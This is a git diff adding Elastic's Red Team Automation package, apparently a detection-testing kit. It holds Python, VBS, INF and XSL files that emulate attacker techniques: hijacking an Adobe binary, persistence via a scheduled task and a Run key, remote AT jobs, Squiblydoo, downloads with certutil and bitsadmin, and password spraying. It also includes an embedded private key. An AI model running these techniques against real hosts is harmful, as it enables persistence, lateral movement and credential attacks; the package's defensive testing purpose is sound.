diff --git a/rta/__init__.py b/rta/__init__.py new file mode 100644 index 000000000..aa71197ac --- /dev/null +++ b/rta/__init__.py @@ -0,0 +1,43 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +import glob +import importlib +import os + +from . import common + +CURRENT_DIR = os.path.dirname(os.path.abspath(__file__)) + + +def get_ttp_list(os_types=None): + scripts = [] + if os_types and not isinstance(os_types, (list, tuple)): + os_types = [os_types] + + for script in sorted(glob.glob(os.path.join(CURRENT_DIR, "*.py"))): + base_name, _ = os.path.splitext(os.path.basename(script)) + if base_name not in ("common", "main") and not base_name.startswith("_"): + if os_types: + # Import it and skip it if it's not supported + importlib.import_module(__name__ + "." + base_name) + if not any(base_name in common.OS_MAPPING[os_type] for os_type in os_types): + continue + + scripts.append(script) + + return scripts + + +def get_ttp_names(os_types=None): + names = [] + for script in get_ttp_list(os_types): + basename, ext = os.path.splitext(os.path.basename(script)) + names.append(basename) + return names + + +__all__ = ( + "common" +) diff --git a/rta/__main__.py b/rta/__main__.py new file mode 100644 index 000000000..a5173ca2f --- /dev/null +++ b/rta/__main__.py @@ -0,0 +1,21 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +import argparse +import importlib +import os + +from . import get_ttp_names + +parser = argparse.ArgumentParser("rta") +parser.add_argument("ttp_name") + +parsed_args, remaining = parser.parse_known_args() +ttp_name, _ = os.path.splitext(os.path.basename(parsed_args.ttp_name)) + +if ttp_name not in get_ttp_names(): + raise ValueError("Unknown RTA {}".format(ttp_name)) + +module = importlib.import_module("rta." + ttp_name) +exit(module.main(*remaining)) diff --git a/rta/adobe_hijack.py b/rta/adobe_hijack.py new file mode 100644 index 000000000..e58c788ae --- /dev/null +++ b/rta/adobe_hijack.py @@ -0,0 +1,46 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Adobe Hijack Persistence +# RTA: adobe_hijack.py +# ATT&CK: T1044 +# Description: Replaces PE file that will run on Adobe Reader start. + +import os + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + rdr_cef_dir = "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF" + rdrcef_exe = os.path.join(rdr_cef_dir, "RdrCEF.exe") + cmd_path = "C:\\Windows\\System32\\cmd.exe" + backup = os.path.abspath("xxxxxx") + backedup = False + + # backup original if it exists + if os.path.isfile(rdrcef_exe): + common.log("{} already exists, backing up file.".format(rdrcef_exe)) + common.copy_file(rdrcef_exe, backup) + backedup = True + else: + common.log("{} doesn't exist. Creating path.".format(rdrcef_exe)) + os.makedirs(rdr_cef_dir) + + # overwrite original + common.copy_file(cmd_path, rdrcef_exe) + + # cleanup + if backedup: + common.log("Putting back backup copy.") + common.copy_file(backup, rdrcef_exe) + os.remove(backup) + else: + common.remove_file(rdrcef_exe) + os.removedirs(rdr_cef_dir) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/appcompat_shim.py b/rta/appcompat_shim.py new file mode 100644 index 000000000..93c8ad2a2 --- /dev/null +++ b/rta/appcompat_shim.py @@ -0,0 +1,30 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Application Compatibility Shims +# RTA: appcompat_shim.py +# ATT&CK: T1138 +# Description: Use sdbinst.exe to install a binary patch/application shim. + +import time + +from . import common + +SHIM_FILE = common.get_path("bin", "CVE-2013-3893.sdb") + + +@common.requires_os(common.WINDOWS) +@common.dependencies(SHIM_FILE) +def main(): + common.log("Application Compatibility Shims") + + common.execute(["sdbinst.exe", "-q", "-p", SHIM_FILE]) + time.sleep(2) + + common.log("Removing installed shim", log_type="-") + common.execute(["sdbinst.exe", "-u", SHIM_FILE]) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/at_command.py b/rta/at_command.py new file mode 100644 index 000000000..d82a523da --- /dev/null +++ b/rta/at_command.py @@ -0,0 +1,57 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: AT Command Lateral Movement +# RTA: at_command.py +# ATT&CK: T1053 +# Description: Enumerates at tasks on target host, and schedules an at job for one hour in the future. Then checks the +# status of that task, and deletes the task. + +import datetime +import re +import sys + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(target_host=None): + target_host = target_host or common.get_ip() + host_str = '\\\\%s' % target_host + + # Current time at \\localhost is 11/16/2017 11:25:50 AM + code, output = common.execute(['net', 'time', host_str]) + match = re.search(r'Current time at .*? is (\d+)/(\d+)/(\d+) (\d+):(\d+):(\d+) (AM|PM)', output) + groups = match.groups() + m, d, y, hh, mm, ss, period = groups + now = datetime.datetime(month=int(m), day=int(d), year=int(y), hour=int(hh), minute=int(mm), second=int(ss)) + if period == 'PM' and hh != '12': + now += datetime.timedelta(hours=12) + + # Add one hour + task_time = now + datetime.timedelta(hours=1) + + # Round down minutes + time_string = '%d:%d' % (task_time.hour, task_time.minute) + + # Enumerate all remote tasks + common.execute(['at.exe', host_str]) + + # Create a job 1 hour into the future + code, output = common.execute(['at', host_str, time_string, 'cmd /c echo hello world']) + + if code == 1 and 'deprecated' in output: + common.log("Unable to continue RTA. Not supported in this version of Windows") + return common.UNSUPPORTED_RTA + + if code == 0: + job_id = re.search('ID = (\d+)', output).group(1) + + # Check status and delete + common.execute(['at.exe', host_str, job_id]) + common.execute(['at.exe', host_str, job_id, '/delete']) + + +if __name__ == "__main__": + exit(main(*sys.argv[1:])) diff --git a/rta/bin/BadTasks.csproj b/rta/bin/BadTasks.csproj new file mode 100644 index 000000000..4caf2ac13 --- /dev/null +++ b/rta/bin/BadTasks.csproj @@ -0,0 +1,65 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/rta/bin/Installer.msi b/rta/bin/Installer.msi new file mode 100644 index 000000000..bc6b4d0dd Binary files /dev/null and b/rta/bin/Installer.msi differ diff --git a/rta/bin/PsRunner.exe b/rta/bin/PsRunner.exe new file mode 100644 index 000000000..03b2bcb54 Binary files /dev/null and b/rta/bin/PsRunner.exe differ diff --git a/rta/bin/TrustProvider32.dll b/rta/bin/TrustProvider32.dll new file mode 100644 index 000000000..9302596dd Binary files /dev/null and b/rta/bin/TrustProvider32.dll differ diff --git a/rta/bin/TrustProvider64.dll b/rta/bin/TrustProvider64.dll new file mode 100644 index 000000000..cfdee715a Binary files /dev/null and b/rta/bin/TrustProvider64.dll differ diff --git a/rta/bin/__init__.py b/rta/bin/__init__.py new file mode 100644 index 000000000..7f7806bc8 --- /dev/null +++ b/rta/bin/__init__.py @@ -0,0 +1,4 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + diff --git a/rta/bin/beacon.hta b/rta/bin/beacon.hta new file mode 100644 index 000000000..659ed06dc --- /dev/null +++ b/rta/bin/beacon.hta @@ -0,0 +1,11 @@ + + + + + diff --git a/rta/bin/cscript.xsl b/rta/bin/cscript.xsl new file mode 100644 index 000000000..b7d7a44c2 --- /dev/null +++ b/rta/bin/cscript.xsl @@ -0,0 +1,21 @@ + + + + + +function xml(nodelist) +{ + var xhr=new ActiveXObject("Msxml2.XMLHttp.6.0"); + xhr.open("GET","http://127.0.0.1:8000",false); + xhr.send(); + + return nodelist.nextNode().xml; +} + + + + + diff --git a/rta/bin/customers.xml b/rta/bin/customers.xml new file mode 100644 index 000000000..4fc41b93d --- /dev/null +++ b/rta/bin/customers.xml @@ -0,0 +1,14 @@ + + + + + John Smith +
123 Elm St.
+ (123) 456-7890 +
+ + Mary Jones +
456 Oak Ave.
+ (156) 789-0123 +
+
diff --git a/rta/bin/myapp.exe b/rta/bin/myapp.exe new file mode 100644 index 000000000..e72b904fe Binary files /dev/null and b/rta/bin/myapp.exe differ diff --git a/rta/bin/myapp_x64.exe b/rta/bin/myapp_x64.exe new file mode 100644 index 000000000..941ec8e74 Binary files /dev/null and b/rta/bin/myapp_x64.exe differ diff --git a/rta/bin/mydll.dll b/rta/bin/mydll.dll new file mode 100644 index 000000000..b29ebb983 Binary files /dev/null and b/rta/bin/mydll.dll differ diff --git a/rta/bin/mydll_x64.dll b/rta/bin/mydll_x64.dll new file mode 100644 index 000000000..14cebf890 Binary files /dev/null and b/rta/bin/mydll_x64.dll differ diff --git a/rta/bin/mydotnet.exe b/rta/bin/mydotnet.exe new file mode 100644 index 000000000..54692dda1 Binary files /dev/null and b/rta/bin/mydotnet.exe differ diff --git a/rta/bin/mydotnet.tlb b/rta/bin/mydotnet.tlb new file mode 100644 index 000000000..5044347f8 Binary files /dev/null and b/rta/bin/mydotnet.tlb differ diff --git a/rta/bin/myservice32.dll b/rta/bin/myservice32.dll new file mode 100755 index 000000000..d42f6d6a0 Binary files /dev/null and b/rta/bin/myservice32.dll differ diff --git a/rta/bin/myservice64.dll b/rta/bin/myservice64.dll new file mode 100644 index 000000000..326417d4a Binary files /dev/null and b/rta/bin/myservice64.dll differ diff --git a/rta/bin/notepad.sct b/rta/bin/notepad.sct new file mode 100644 index 000000000..649414204 --- /dev/null +++ b/rta/bin/notepad.sct @@ -0,0 +1,12 @@ + + + + + + diff --git a/rta/bin/persistent_script.vbs b/rta/bin/persistent_script.vbs new file mode 100644 index 000000000..f7e998842 --- /dev/null +++ b/rta/bin/persistent_script.vbs @@ -0,0 +1,123 @@ +dim shellobj +dim fs +dim logFile + +set fs = CreateObject("Scripting.FileSystemObject") +set shellObj = WScript.CreateObject("wscript.shell") + +name = "rta-vbs-persistence" +logPath = shellObj.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & name & ".log" + +set logFile = fs.OpenTextFile(logPath, 8, True) + +startupDir = shellObj.SpecialFolders("Startup") +shortcutLink = startupDir & "\" & name & "-startup.lnk" + +startupTarget = startupDir & "\" & name & "-startup.vbs" +shortcutTarget = shellObj.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & name & "-startup-shortcut.vbs" +taskTarget = shellObj.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & name & "-task.vbs" +runTarget = shellObj.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & name & "-run-key.vbs" + +runKey = "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & name + + +function log(logType, message) + line = "[" & logType & "] " & wscript.ScriptName & " - " & message + ' WScript.Echo line + logFile.WriteLine line +end function + +function logLine + logFile.WriteLine "" +end function + + +'Add self logging functions +function copyScript(target) + log "+", "Copying " & wscript.ScriptFullName & " to " & target + fs.CopyFile wscript.ScriptFullName, target, true +end function + +function deleteFile(path) + log "-", "Deleting " & path + fs.DeleteFile(path) +end function + +function run(command) + log ">", command + errorCode = shellObj.Run(command, 0, True) + if errorCode <> 0 then + log ">", "exit code = " & errorCode + end if +end function + +function deleteScript() + deleteFile wscript.ScriptFullName +end function + + +log "=", "Started" + +'Establish persistence or remove persistence after the first execution +if wscript.ScriptFullName = shortcutTarget then + 'Check if this is running and came from a shortcut + log "+", "Running from a shortcut target" + deleteScript + deleteFile shortcutLink + +elseif wscript.ScriptFullName = startupTarget then + 'Delete the file + log "+", "Running from the startup folder directly" + deleteScript + +elseif wscript.ScriptFullName = taskTarget then + 'Remove the task and the file + log "+", "Running as a scheduled task" + deleteScript + run "schtasks.exe /delete /f /tn " & name + +elseif wscript.ScriptFullName = runTarget then + 'Remove the registry key and the file + log "+", "Running as a run item" + deleteScript + log "-", "Removing registry key " & runKey + shellObj.RegDelete runKey + +else + 'Copy the file to a few locations + dim shortcut + log "+", "Establish Persistence" & crlf + + + 'Copy to the StartUp directory + log "+", "Startup File" + copyScript startupTarget + logLine + + 'Create a shortcut in the StartUp directory + log "+", "Startup Shortcut" + copyScript shortcutTarget + set shortcut = shellObj.CreateShortcut(shortcutLink) + shortcut.TargetPath = "wscript.exe" + shortcut.Arguments = "//B " & chrw(34) & shortcutTarget & chrw(34) + shortcut.save() + logLine + + 'Create a scheduled task + log "-", "Scheduled Task" & crlf + copyScript taskTarget + run "schtasks.exe /create /f /sc onlogon /tn " & name & " /tr " & chrw(34) & "wscript.exe //B " & ("\" & chrw(34)) & runTarget & ("\" & chrw(34)) & chrw(34) + logLine + + 'Create the run key + log "+", "Run Key via Registry" + copyScript runTarget + shellObj.RegWrite runKey, "wscript.exe //B " & chrw(34) & runTarget & chrw(34), "REG_SZ" + logLine + +end if + +log "-", "Exiting" +logFile.WriteLine "" +logFile.WriteLine "" +logFile.Close() \ No newline at end of file diff --git a/rta/bin/privkey.pem b/rta/bin/privkey.pem new file mode 100644 index 000000000..4c115a44f --- /dev/null +++ b/rta/bin/privkey.pem @@ -0,0 +1,27 @@ +-----BEGIN RSA PRIVATE KEY----- +MIIEowIBAAKCAQEAuy7HkecTrKhGuZW7/KugrrUNmNGPjvZGXTpGJIb3ycU5KSNk +VutDTpjL6QpqJc4O/2J77lEjGsx+H+CUcrXSK5cSifD5Qd73ZRM6wnfulpUBKJoi +LasX7umpRtx/xwOQGvDBBYvB6QVhvmlisqkhRIZLphi4qxfBJ1+RzfsG8JNvDmvl +tkEogGMaj5rVplbhKycSkuqflEF+tuhnSCiLgAAyFcFzhDp1sJP7mHf0RX1qxGtq +1e+OduZxA8omDB3urvZ+3smCnEgYk920Ikbzs5zEjwHMgh6mtqLLO1xLOefTFWUM ++i6z05mowdi3l3e26LOQLhHftBxh88W41b60mwIDAQABAoIBACyJ4v66hxnsKHf8 +QvDKPb+UYRnds1UHEJMaTJpgaxFdlk5Nl5B/BlLrVIms6rj4IOVvn6GDOOEli1U2 +cNwim1G37rdX2VdtIFyyiKbBNsopxk7M7hkDvvwgKSEtUlIebOmcI7GYIZm6qBlQ +piVwzPOrKNDqzPYY/uLJgL4MXwhbBDzgi4qsNOFol05r0YISiHxI3CRmk0zFQnwr +xIIg4WR6NbWKVp/CLfGrJFwE0wG9J1D3xf3hclHKEmOCuEI0PuGQqH7gwzfPxCT5 +kzfi513iqTRvxwn0euUY9qqHZNuMoW3p7oGvObgZhRmN1qlE5kmN1moZhlcQuIkr +enhCVCECgYEA378gwqZdsWLinMwScSDNz3WAc8rThwdB3qz3cBRFWFV0/qlMLxpC +ne+kSBekym3vNK4ZWJf6XHpVodHGB3mSVOCGAgziEy5nlVtoO64qQoa6gTDAjdEv +eGh27lEresi3MiP9JHE7TN3nwcjlpuRfnutqgnlVJeVmwasDB/E2vGkCgYEA1ipX +5vUZz7z7LU5VNPskn5naGHkuLrlQaCqKWdXMOXsOoP3w4Z4PptWzroa/i5O4OGqV +2x7wkAAa73oqRnt8+OTwCxfzBhdQDCfIw9joZrJiCCbqNny8zQcXBI2AcdWaI2m3 +jfzKXtxtCAz2WFLE1g2RjLSjw/F2XPpjN9daGGMCgYBa7ueWlFyhuimVRg78sTNT +7FJPPRBo4Vcw86UAhQyF0P1iflW7EvYeEAX5UrqjlrhP9a3RZrrWmNVylbng0dTZ +8AImlSvQVdy9Q9AB6U+9h9oGpVSsjma3jeVAB/ceyLJDi4LXK7nJDKqjBE3pXQlL +oivAaSVk6G2xqhnqQWtYeQKBgQDRWuk888J8qc+cNWPj+9GMVzi1DdjQggURHuzJ +7s7KLfpZ9IPB+eJxA5y3ci/SwN+n/sFpR3CARCoQigrDhbngEOR647mE7cspZsbC +dMqSgbSFJY11IDDr+A9POwghv14DWje+DCzD2JSY9xrlsluKqA7tTjR8uhEryPSu +xMzk4wKBgCufVxHkqM1wWF8Mt80YIluTx+NJSx8UF8TCYeeJimO0MAPMp7u9mSSh +upElHcfKf2fnACO8IHuDMx6luAo+BAdSzOtkERK9rwJ5y0Ktef58MhuMY8jmKKrD +NcKPu3VXnLZ6Gc3qF2Kiy2Qqz0sNqtDsr9L1c9To55GeJ4uZt0BU +-----END RSA PRIVATE KEY----- diff --git a/rta/bin/script_launch.inf b/rta/bin/script_launch.inf new file mode 100644 index 000000000..7a73ad5a2 --- /dev/null +++ b/rta/bin/script_launch.inf @@ -0,0 +1,8 @@ +[Version] +Signature=$CHICAGO$ + +[DefaultInstall] +UnregisterDlls = Squiblydoo + +[Squiblydoo] +11,,scrobj.dll,2,60,http://127.0.0.1:8000/bin/notepad.sct diff --git a/rta/bin/trustprovider_LICENSE b/rta/bin/trustprovider_LICENSE new file mode 100644 index 000000000..87b0bfe8a --- /dev/null +++ b/rta/bin/trustprovider_LICENSE @@ -0,0 +1,29 @@ +BSD 3-Clause License + +Copyright (c) 2017, Matt Graeber +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + +* Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + +* Neither the name of the copyright holder nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/rta/bitsadmin_download.py b/rta/bitsadmin_download.py new file mode 100644 index 000000000..b7ad524cf --- /dev/null +++ b/rta/bitsadmin_download.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Suspicious BitsAdmin Download File +# RTA: bitsadmin_download.py +# ATT&CK: T1197 +# Description: Runs BitsAdmin to download file via command line. + + +import os +import subprocess + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Running Windows BitsAdmin to Download") + server, ip, port = common.serve_web() + url = "http://" + ip + ":" + str(port) + "/bin/myapp.exe" + dest_path = os.path.abspath("myapp-test.exe") + fake_word = os.path.abspath("winword.exe") + + common.log("Emulating parent process: {parent}".format(parent=fake_word)) + common.copy_file("C:\\Windows\\System32\\cmd.exe", fake_word) + + command = subprocess.list2cmdline(['bitsadmin.exe', '/Transfer', '/Download', url, dest_path]) + common.execute([fake_word, "/c", command], timeout=15, kill=True) + common.execute(['taskkill', '/f', '/im', 'bitsadmin.exe']) + + common.remove_files(dest_path, fake_word) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/brute_force_login.py b/rta/brute_force_login.py new file mode 100644 index 000000000..a0d8a6e95 --- /dev/null +++ b/rta/brute_force_login.py @@ -0,0 +1,54 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Brute Force Login Attempts +# RTA: brute_force_login.py +# ATT&CK: T1110 +# Description: Simulates brute force or password spraying tactics. +# Remote audit failures must be enabled to trigger: `auditpol /set /subcategory:"Logon" /failure:enable` + +import random +import string +import sys +import time + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(remote_host=None): + if not remote_host: + common.log('A remote host is required to detonate this RTA', '!') + return common.MISSING_REMOTE_HOST + + common.enable_logon_auditing(remote_host) + + common.log('Brute forcing login with invalid password against {}'.format(remote_host)) + ps_command = ''' + $PW = ConvertTo-SecureString "Lose-y0urse1f" -AsPlainText -Force + $CREDS = New-Object System.Management.Automation.PsCredential {username}, $PW + Invoke-WmiMethod -ComputerName {host} -Class Win32_process -Name create -ArgumentList ipconfig -Credential $CREDS + ''' + command = ['powershell', '-c', ps_command.format(username='zeus', host=remote_host)] + + # fail 4 times - the first 3 concurrently and wait for the final to complete + for i in range(4): + common.execute(command, wait=i == 3) + + time.sleep(1) + + common.log('Password spraying against {}'.format(remote_host)) + + # fail 5 times - the first 4 concurrently and wait for the final to complete + for i in range(5): + random_user = ''.join(random.sample(string.ascii_letters, 10)) + command = ['powershell', '-c', ps_command.format(username=random_user, host=remote_host)] + common.execute(command, wait=i == 4) + + # allow time for audit event to process + time.sleep(2) + + +if __name__ == "__main__": + exit(main(*sys.argv[1:])) diff --git a/rta/certutil_file_obfuscation.py b/rta/certutil_file_obfuscation.py new file mode 100644 index 000000000..a0b16b249 --- /dev/null +++ b/rta/certutil_file_obfuscation.py @@ -0,0 +1,31 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Certutil Encode / Decode +# RTA: certutil_file_obfuscation.py +# ATT&CK: T1140 +# Description: Uses certutil to create an encoded copy of cmd.exe. Then uses certutil to decode that copy. + +import os + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Encoding target") + encoded_file = os.path.abspath('encoded.txt') + decoded_file = os.path.abspath('decoded.exe') + common.execute(["c:\\Windows\\System32\\certutil.exe", "-encode", "c:\\windows\\system32\\cmd.exe", encoded_file]) + + common.log("Decoding target") + common.execute(["c:\\Windows\\System32\\certutil.exe", "-decode", encoded_file, decoded_file]) + + common.log("Cleaning up") + common.remove_file(encoded_file) + common.remove_file(decoded_file) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/certutil_webrequest.py b/rta/certutil_webrequest.py new file mode 100644 index 000000000..ea1c10524 --- /dev/null +++ b/rta/certutil_webrequest.py @@ -0,0 +1,33 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Downloading Files With Certutil +# RTA: certutil_webrequest.py +# ATT&CK: T1105 +# Description: Uses certutil.exe to download a file. + +from . import common + +MY_DLL = common.get_path("bin", "mydll.dll") + + +@common.requires_os(common.WINDOWS) +@common.dependencies(MY_DLL) +def main(): + # http server will terminate on main thread exit + # if daemon is True + server, ip, port = common.serve_web() + + uri = "bin/mydll.dll" + target_file = "mydll.dll" + common.clear_web_cache() + url = "http://{ip}:{port}/{uri}".format(ip=ip, port=port, uri=uri) + common.execute(["certutil.exe", "-urlcache", "-split", "-f", url, target_file]) + + server.shutdown() + common.remove_file(target_file) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/common.py b/rta/common.py new file mode 100644 index 000000000..ad6a634b9 --- /dev/null +++ b/rta/common.py @@ -0,0 +1,633 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +from __future__ import unicode_literals, print_function + +import binascii +import contextlib +import functools +import getpass +import inspect +import os +import re +import shutil +import socket +import subprocess +import sys +import tempfile +import threading +import time + +try: + from SimpleHTTPServer import SimpleHTTPRequestHandler +except ImportError: + from http.server import SimpleHTTPRequestHandler +try: + from SocketServer import TCPServer +except ImportError: + from http.server import HTTPServer as TCPServer + +to_unicode = type(u"") +long_t = type(1 << 63) +strings = str, type(u"") + +HOSTNAME = socket.gethostname() +LOCAL_IP = None + + +def get_ip(): + global LOCAL_IP, HOSTNAME + + if LOCAL_IP is None: + try: + LOCAL_IP = socket.gethostbyname(HOSTNAME) + except socket.gaierror: + LOCAL_IP = "127.0.0.1" + + return LOCAL_IP + + +def get_winreg(): + try: + import _winreg as winreg + except ImportError: + import winreg + return winreg + + +# Multi-OS Support +WINDOWS = "windows" +MACOS = "macos" +LINUX = "linux" + +if sys.platform == "darwin": + CURRENT_OS = MACOS +elif sys.platform.startswith("win"): + CURRENT_OS = WINDOWS +else: + CURRENT_OS = LINUX + +if CURRENT_OS == WINDOWS: + CMD_PATH = os.environ.get("COMSPEC") + POWERSHELL_PATH = 'C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe' +else: + CMD_PATH = "/bin/sh" + POWERSHELL_PATH = None + +BASE_DIR = os.path.dirname(os.path.abspath(__file__)) +ALL_IP = "0.0.0.0" +IP_REGEX = r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}" +CALLBACK_REGEX = r"https?://" + IP_REGEX + r":\d+" + +USER_NAME = getpass.getuser().lower() + +SUCCESS = 0 +PYTHON_ERROR = 1 # Python does this internally, so we don't want to overwrite it +GENERAL_ERROR = 2 +MISSING_DEPENDENCIES = 3 +MISSING_PSEXEC = 4 +ACCESS_DENIED = 5 +UNSUPPORTED_RTA = 6 +MISSING_REMOTE_HOST = 7 + +# Amount of seconds a command should take at a minimum. +# This can allow for arbitrary slow down of scripts +MIN_EXECUTION_TIME = 0 + +MAX_HOSTS = 64 + +# Useful constants +HKLM = "hklm" +HKCU = "hkcu" +HKU = "hku" +HKCR = "hkcr" + +SZ = "sz" +EXPAND_SZ = "expand_sz" +MULTI_SZ = "multi_sz" +DWORD = "dword" + + +OS_MAPPING = {WINDOWS: [], MACOS: [], LINUX: []} + + +def requires_os(*os_list): + if len(os_list) == 1 and isinstance(os_list[0], (list, tuple)): + os_list = os_list[0] + + def decorator(f): + # Register this function with the support os mapping + for os_type in os_list: + OS_MAPPING[os_type].append(f.__module__.split(".")[-1]) + + @functools.wraps(f) + def decorated(*args, **kwargs): + if CURRENT_OS not in os_list: + filename = os.path.relpath(inspect.getsourcefile(f)) + func_name = f.__name__ + + log("Unsupported OS for {filename}:{func}(). Expected {os}".format( + filename=filename, func=func_name, os="/".join(os_list)), "!") + return UNSUPPORTED_RTA + return f(*args, **kwargs) + return decorated + return decorator + + +def check_dependencies(*paths): + missing = [] + for path in paths: + if not os.path.exists(path): + log("Missing dependency %s" % path, "!") + missing.append(path) + return len(missing) == 0 + + +def dependencies(*paths): + missing = [] + for path in paths: + if not os.path.exists(path): + missing.append(path) + + def decorator(f): + @functools.wraps(f) + def decorated(*args, **kwargs): + if len(missing): + log("Missing dependencies for %s:%s()" % (f.func_code.co_filename, f.func_code.co_name), "!") + for dep in missing: + print(" - %s" % os.path.relpath(dep, BASE_DIR)) + return MISSING_DEPENDENCIES + return f(*args, **kwargs) + return decorated + return decorator + + +def pause(): + time.sleep(0.5) + + +def get_path(*path): + return os.path.join(BASE_DIR, *path) + + +@contextlib.contextmanager +def temporary_file(contents, file_name=None): + handle, close = temporary_file_helper(contents, file_name) + + try: + yield handle + finally: + close() + + +def temporary_file_helper(contents, file_name=None): + if not (file_name and os.path.isabs(file_name)): + file_name = os.path.join(tempfile.gettempdir(), file_name or 'temp{:d}'.format(hash(contents))) + + with open(file_name, 'wb' if isinstance(contents, bytes) else 'w') as f: + f.write(contents) + + f = open(file_name, 'rb' if isinstance(contents, bytes) else 'r') + + def close(): + f.close() + os.remove(file_name) + + return f, close + + +def execute(command, hide_log=False, mute=False, timeout=30, wait=True, kill=False, drop=False, stdin=None, + shell=False, **kwargs): + """Execute a process and get the output.""" + command_string = command + close = None + + if isinstance(command, (list, tuple)): + command = [to_unicode(arg) for arg in command] + command_string = subprocess.list2cmdline(command) + + if shell: + command = command_string + else: + sys.stderr.write("Deprecation warning! Switch arguments to a list for common.execute()\n\n") + + if not hide_log: + print("%s @ %s > %s" % (USER_NAME, HOSTNAME, command_string)) + + if isinstance(stdin, (bytes, str, type(u""))): + stdin, close = temporary_file_helper(stdin) + + stdout = subprocess.PIPE + stderr = subprocess.STDOUT + + if drop or kill: + devnull = open(os.devnull, "w") + stdout = devnull + stderr = devnull + + start = time.time() + + p = subprocess.Popen(command, stdin=stdin or subprocess.PIPE, stdout=stdout, stderr=stderr, shell=shell, **kwargs) + + if kill: + delta = 0.5 + # Try waiting for the process to die + for _ in range(int(timeout / delta) + 1): + time.sleep(delta) + if p.poll() is not None: + return + + log("Killing process", str(p.pid)) + try: + p.kill() + time.sleep(0.5) + except OSError: + pass + elif wait: + output = '' + + if not stdin: + try: + p.stdin.write(os.linesep.encode('ascii')) + except IOError: + # this pipe randomly breaks when executing certain non-zero exit commands on linux + pass + + while p.poll() is None: + line = p.stdout.readline().decode('ascii', 'ignore') + if line: + output += line + if not (hide_log or mute): + print(line.rstrip()) + + output += p.stdout.read().decode('ascii', 'ignore') + output = output.strip() + + # Add artificial sleep to slow down command lines + end = time.time() + run_time = end - start + if run_time < MIN_EXECUTION_TIME: + time.sleep(MIN_EXECUTION_TIME - run_time) + + if not (hide_log or mute): + if p.returncode != 0: + print("exit code = %d" % p.returncode) + print("") + + if close: + close() + + return p.returncode, output + else: + if close: + close() + + return p + + +def log(message, log_type='+'): + print('[%s] %s' % (log_type, message)) + + +def copy_file(source, target): + log('Copying %s -> %s' % (source, target)) + shutil.copy(source, target) + + +def link_file(source, target): + log('Linking %s -> %s' % (source, target)) + execute(["ln", "-s", source, target]) + + +def 